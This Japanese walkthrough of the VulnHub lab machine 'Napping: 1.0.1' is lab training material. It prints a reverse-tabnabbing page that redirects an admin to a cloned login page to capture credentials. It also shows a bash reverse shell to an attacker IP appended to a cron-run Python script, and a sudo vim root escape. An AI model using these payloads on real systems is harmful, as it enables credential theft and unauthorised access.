概要
VulnHub「Napping: 1.0.1」のWriteupです。
User Flag
ターゲットマシンのIPアドレスを特定します。
$sudo netenum 192.168.178.0/24 5 1
3 targets found
192.168.178.2
192.168.178.20
192.168.178.23
192.168.178.2
は、DHCPサーバーのIPアドレスです。
192.168.178.20
は、攻撃マシンのIPアドレスです。
192.168.178.23
が、ターゲットマシンのIPアドレスだと分かりました。
ポートスキャンを実行します。
$nmap -Pn -sCV -T4 192.168.178.23 -oN nmap_result
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 24:c4:fc:dc:4b:f4:31:a0:ad:0d:20:61:fd:ca:ab:79 (RSA)
| 256 6f:31:b3:e7:7b:aa:22:a2:a7:80:ef:6d:d2:87:6c:be (ECDSA)
|_ 256 af:01:85:cf:dd:43:e9:8d:32:50:83:b2:41:ec:1d:3b (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Login
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
22 | ssh | OpenSSH 8.2p1 |
80 | http | Apache/2.4.41 |
80
番ポートにアクセスすると、ログイン画面が表示されました。
sign up now
のリンクからアカウント登録画面に遷移出来ました。
アカウント登録に成功すると、トップページが表示されました。
リンクを送信すると、管理者がレビューをするようです。
試しにテスト用のリンクを送信すると、Here
の文字でリンクが表示されました。
開発者ツールで挿入されたリンクのコードを確認すると、aタグにtarget="_blank"
が付与されています。
target="_blank"
がある場合、タブナビング攻撃を使用できる可能性があります。
今回はリンクを送信すると、管理者がレビューをしにアクセスしてくるようです。
なので、ログインページを模倣した罠サイトにリダイレクさせることで、ログイン情報を抜き取れるかもしれません。
Loginページにアクセスし、Save Page As
からページを保存します。
$ls -la
total 12
drwxr-xr-x 1 user user 80 Aug 5 12:52 .
drwxr-xr-x 1 user user 50 Aug 5 12:01 ..
-rw-r--r-- 1 user user 1254 Aug 5 12:52 Login.html
drwxr-xr-x 1 user user 34 Aug 5 12:52 Login_files
罠のログインページに遷移するようなHTMLファイルを作成します。
<!DOCTYPE html>
<html>
<body>
<script>
if(window.opener) {
window.opener.location = "http://192.168.178.20:4433/Login.html";
}
</script>
</body>
</html>
HTTPサーバーを起動します。
$sudo python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Netcatでリッスンします。
$nc -lnvp 4433
Listening on 0.0.0.0 4433
リンク送信フォームから、http://<攻撃者端末 IP>/evil.html
と送信します。
しばらくすると、evil.html
へアクセスがありました。
$sudo python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.178.23 - - [05/Aug/2025 13:06:04] "GET /evil.html HTTP/1.1" 200 -
Netcatを確認すると、罠のログインページからログインしようとした通信を取得できました。
リクエストボディから管理者が使用しているであろう、ユーザー名とパスワードを入手できました。
$nc -lnvp 4433
Listening on 0.0.0.0 4433
Connection received on 192.168.178.23 37496
POST /Login.html HTTP/1.1
Host: 192.168.178.20:4433
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 45
Content-Type: application/x-www-form-urlencoded
username=daniel&password=C%40ughtm3napping123
Username:daniel
,Password:C@ughtm3napping123
でSSH接続に成功しました。
$ssh daniel@192.168.178.23
daniel@napping:~$
ユーザーフラグはadrian
アカウントで閲覧できるようです。
$ ls -al /home/adrian/
total 28
drwxr-xr-x 3 adrian adrian 4096 Aug 5 11:52 .
drwxr-xr-x 4 root root 4096 Oct 12 2021 ..
lrwxrwxrwx 1 adrian adrian 9 Oct 12 2021 .bash_history -> /dev/null
-rw-r--r-- 1 adrian adrian 0 Feb 25 2020 .bash_logout
-rw-r--r-- 1 adrian adrian 0 Feb 25 2020 .bashrc
drwx------ 2 adrian adrian 4096 Oct 11 2021 .cache
lrwxrwxrwx 1 adrian adrian 9 Oct 12 2021 .mysql_history -> /dev/null
-rw-r--r-- 1 adrian adrian 0 Feb 25 2020 .profile
-rw-rw-r-- 1 adrian adrian 75 Oct 11 2021 .selected_editor
-rw-r--r-- 1 adrian adrian 0 Oct 11 2021 .sudo_as_admin_successful
-rw------- 1 adrian adrian 0 Oct 30 2021 .viminfo
-rw-rw-r-- 1 adrian administrators 481 Oct 30 2021 query.py
-rw-rw-r-- 1 adrian adrian 1248 Aug 5 13:10 site_status.txt
-rw------- 1 adrian adrian 22 Oct 12 2021 user.txt
query.py
はadministrators
グループでも、編集できるようです。
daniel
はadministrators
グループに入っているので、query.py
を編集できます。
$ id
uid=1001(daniel) gid=1001(daniel) groups=1001(daniel),1002(administrators)
query.py
の処理を確認すると、http://127.0.0.1
にアクセスし、アクセスした時間をsite_status.txt
に書き込んでいます。
from datetime import datetime
import requests
now = datetime.now()
r = requests.get('http://127.0.0.1/')
if r.status_code == 200:
f = open("site_status.txt","a")
dt_string = now.strftime("%d/%m/%Y %H:%M:%S")
f.write("Site is Up: ")
f.write(dt_string)
f.write("\n")
f.close()
else:
f = open("site_status.txt","a")
dt_string = now.strftime("%d/%m/%Y %H:%M:%S")
f.write("Check Out Site: ")
f.write(dt_string)
f.write("\n")
f.close()
site_status.txt
を確認すると、2分ごとに記録されています。
つまり、2分ごとにquery.py
を実行しているようです。
Site is Up: 05/08/2025 11:52:01
Site is Up: 05/08/2025 11:54:01
Site is Up: 05/08/2025 11:56:01
query.py
の編集権限があるので、os.system()
でリバースシェルを張る処理を追記しました。
from datetime import datetime
import requests
import os # 追記
os.system("bash -c 'bash -i >& /dev/tcp/<攻撃端末 IP>/1234 0>&1'") # 追記
now = datetime.now()
Netcatでリッスンしていると、adrian
でシェルを張れました。
$nc -lnvp 1234
Listening on 0.0.0.0 1234
Connection received on 192.168.178.23 43984
bash: cannot set terminal process group (2063): Inappropriate ioctl for device
bash: no job control in this shell
adrian@napping:~$ whoami
whoami
adrian
TTYの設定をします。
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
ユーザーフラグを入手できました。
You are nearly there!
Root Flag
sudo -l
で確認すると、/usr/bin/vim
が設定されています。
$ sudo -l
sudo -l
Matching Defaults entries for adrian on napping:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User adrian may run the following commands on napping:
(root) NOPASSWD: /usr/bin/vim
vim
で権限昇格できるテクニックがあります。
$ sudo /usr/bin/vim -c ':!/bin/bash'
# whoami
whoami
root
/root/root.txt
からルートフラグを入手できました。
Admins just can't stay awake tsk tsk tsk